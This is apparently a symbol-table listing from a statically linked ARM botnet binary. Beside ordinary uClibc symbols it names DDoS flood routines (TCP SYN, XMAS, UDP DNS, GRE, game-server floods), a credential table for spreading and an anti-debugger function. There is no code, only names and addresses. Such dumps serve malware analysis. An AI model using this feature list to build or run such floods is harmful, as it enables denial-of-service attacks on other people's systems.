__GI___sigaddset	.symtab	0x18280	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x182a4	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x1825c	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x1b2a8	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x1b378	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x1b000	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x1afe4	24	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x1b960	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x19658	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x17b60	116	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x19da4	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x17bd4	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1e514	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x1aee0	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x1757c	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x1c318	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1c34c	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1bff0	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x17c5c	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x19fb8	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x1c394	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x170d4	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1d268	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1cd58	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1d614	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x1ce9c	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x1d740	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x1c6c4	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x1a7ec	972	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x1b9c8	100	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1d614	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x1bacc	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x1baf8	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x1bb0c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x1bb20	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x1bb34	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x1ac50	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x1bb5c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x17cd0	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x1bb94	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x1bbd4	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x17af4	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1e04c	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x19bc0	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x171dc	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x1dfac	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x172bc	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x17d5c	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1e92c	112	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x17a10	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x17a20	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1e8c8	36	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x17a30	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x1b7bc	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x1bbe8	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x1bc2c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1bcac	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x1af70	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x1775c	196	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x1ac98	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x19798	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x19a58	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x1b090	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x178d0	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x1bf04	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x17338	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x17de0	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x17e98	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1bd0c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x173bc	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x17f64	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x18020	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x17440	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x180a8	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x19cb8	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x1b864	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x18134	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x18184	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x18198	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x17480	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x1ad88	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x180f0	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x19ae8	216	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1dcf0	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1dde0	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x1dc70	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x1dc70	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x17ad0	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1decc	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x1dc90	96	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1df10	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1df60	76	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x19dc4	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x1a1c8	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x1dfd0	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x1750c	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x1bd78	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x1753c	64	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x1b000	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2900c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2900c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1f834	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1f7c8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1f7ec	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1f810	36	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x1e99c	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x1eac8	24	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x1b910	8	FUNC	<unknown>	DEFAULT	2
__aeabi_uidiv	.symtab	0x16f14	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x17010	24	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1f794	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1f78c	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1f784	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2992c	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x291a8	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x2c36c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x292bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x292bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x1b324	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x1aee0	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x1aec4	24	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x291d0	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2be90	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x290b8	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x1b904	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x1b8f8	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x17028	20	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x1e99c	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x29008	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x2c36c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x29924	4	OBJECT	<unknown>	DEFAULT	14
__errno_location	.symtab	0x179b8	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x20d40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x20c28	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x293d4	4	OBJECT	<unknown>	HIDDEN	14
__fcntl_nocancel	.symtab	0x1703c	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1d614	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x2900c	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x29008	0	NOTYPE	<unknown>	HIDDEN	10
__fork	.symtab	0x1a7ec	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x2c338	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x2c33c	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x293d8	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x29004	0	OBJECT	<unknown>	DEFAULT	9
__getdents	.symtab	0x1ba2c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1e578	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x1bb34	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x1ac50	72	FUNC	<unknown>	DEFAULT	2
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1ef38	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1f020	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1f7b8	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1efb4	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1f0d8	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1f7c0	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1f89c	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1ffb0	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1f23c	1352	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x29008	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x29004	0	NOTYPE	<unknown>	HIDDEN	9
__libc_accept	.symtab	0x17b60	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x1aee0	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x17c5c	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x1b100	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x1b188	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x170d4	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x1a7ec	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x2c340	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x1bcac	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x1af70	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x1b090	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x17de0	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x17e98	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x173bc	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x17f64	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x18020	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1e248	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x1b864	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x29920	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x1b000	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x1abb8	152	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x19228	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x182c8	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x290cc	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x2bfc0	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x19178	176	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x1af70	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x1af54	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x29928	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x29004	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x29004	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x291c4	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x291c8	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1e478	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1b26c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x1b264	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x1b264	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x1b264	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x1b264	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x1b090	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x1b074	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1f79c	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x29930	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x18280	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x182a4	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x1825c	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x1e8ec	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1e56c	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x291e4	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1e6c0	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x1e718	220	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1e7f4	48	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1e824	164	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x1cd28	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x291e8	4	OBJECT	<unknown>	DEFAULT	13
__sys_accept	.symtab	0x17b1c	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x17c18	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x17d9c	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x17e50	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x17f20	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x17fd4	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x1b838	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x1bc6c	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x1b920	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x17378	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1e224	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x1b2a8	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x1b378	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x1b3d0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x291c0	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x16f14	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x1b000	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x1afe4	24	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x1be58	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x1bd8c	204	FUNC	<unknown>	HIDDEN	2
_bss_end__	.symtab	0x2c36c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x1e484	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1e4bc	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x2c364	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x2c368	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x2c358	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x2c354	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x2c35c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x2c34c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1e1bc	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x2c348	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x2c360	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x2c350	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x2c344	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x292bc	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x2c36c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x1b960	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x2002c	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x29954	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_memcpy	.symtab	0x1d7e0	0	FUNC	<unknown>	HIDDEN	2
_pthread_cleanup_pop_restore	.symtab	0x1b27c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x1b274	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x1b8ec	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x2bfb8	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x1c6e4	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x1cb44	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x291ec	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x29934	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1cfb8	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x29950	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x29940	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2994c	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x291f0	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x1cbc4	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x291d4	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x19de0	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x19658	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x17b60	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0x13378	352	FUNC	<unknown>	DEFAULT	2
anti_gdb_entry	.symtab	0x12580	24	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x19da4	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x19da4	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_get_opt_int	.symtab	0x85b0	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x8544	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0x81d0	92	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x8620	2108	FUNC	<unknown>	DEFAULT	2
attack_method.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_method_asyn	.symtab	0xbfdc	1708	FUNC	<unknown>	DEFAULT	2
attack_method_awe	.symtab	0xb7fc	672	FUNC	<unknown>	DEFAULT	2
attack_method_cia	.symtab	0xb55c	672	FUNC	<unknown>	DEFAULT	2
attack_method_greeth	.symtab	0xe830	1684	FUNC	<unknown>	DEFAULT	2
attack_method_greip	.symtab	0x9f80	1564	FUNC	<unknown>	DEFAULT	2
attack_method_htvac	.symtab	0xa83c	672	FUNC	<unknown>	DEFAULT	2
attack_method_ice	.symtab	0xb2bc	672	FUNC	<unknown>	DEFAULT	2
attack_method_nfo	.symtab	0xb01c	672	FUNC	<unknown>	DEFAULT	2
attack_method_ovh	.symtab	0x9478	1564	FUNC	<unknown>	DEFAULT	2
attack_method_ovh2	.symtab	0x8e5c	1564	FUNC	<unknown>	DEFAULT	2
attack_method_pack	.symtab	0xad7c	672	FUNC	<unknown>	DEFAULT	2
attack_method_shock	.symtab	0xaadc	672	FUNC	<unknown>	DEFAULT	2
attack_method_std	.symtab	0xbd3c	672	FUNC	<unknown>	DEFAULT	2
attack_method_stle	.symtab	0xa59c	672	FUNC	<unknown>	DEFAULT	2
attack_method_tcpack	.symtab	0xda8c	1784	FUNC	<unknown>	DEFAULT	2
attack_method_tcpall	.symtab	0xcd34	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpfrag	.symtab	0xc688	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpstomp	.symtab	0x105a8	1972	FUNC	<unknown>	DEFAULT	2
attack_method_tcpsyn	.symtab	0xe184	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpusyn	.symtab	0xd3e0	1708	FUNC	<unknown>	DEFAULT	2
attack_method_tcpxmas	.symtab	0xfdf4	1972	FUNC	<unknown>	DEFAULT	2
attack_method_udpdns	.symtab	0xf734	1728	FUNC	<unknown>	DEFAULT	2
attack_method_udpgame	.symtab	0xf2fc	1080	FUNC	<unknown>	DEFAULT	2
attack_method_udpgeneric	.symtab	0x9a94	1260	FUNC	<unknown>	DEFAULT	2
attack_method_udpplain	.symtab	0xba9c	672	FUNC	<unknown>	DEFAULT	2
attack_method_udpvse	.symtab	0xeec4	1080	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0x8328	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x822c	252	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x2935c	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x29330	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x29360	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x293d0	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x17bd4	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x1e514	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
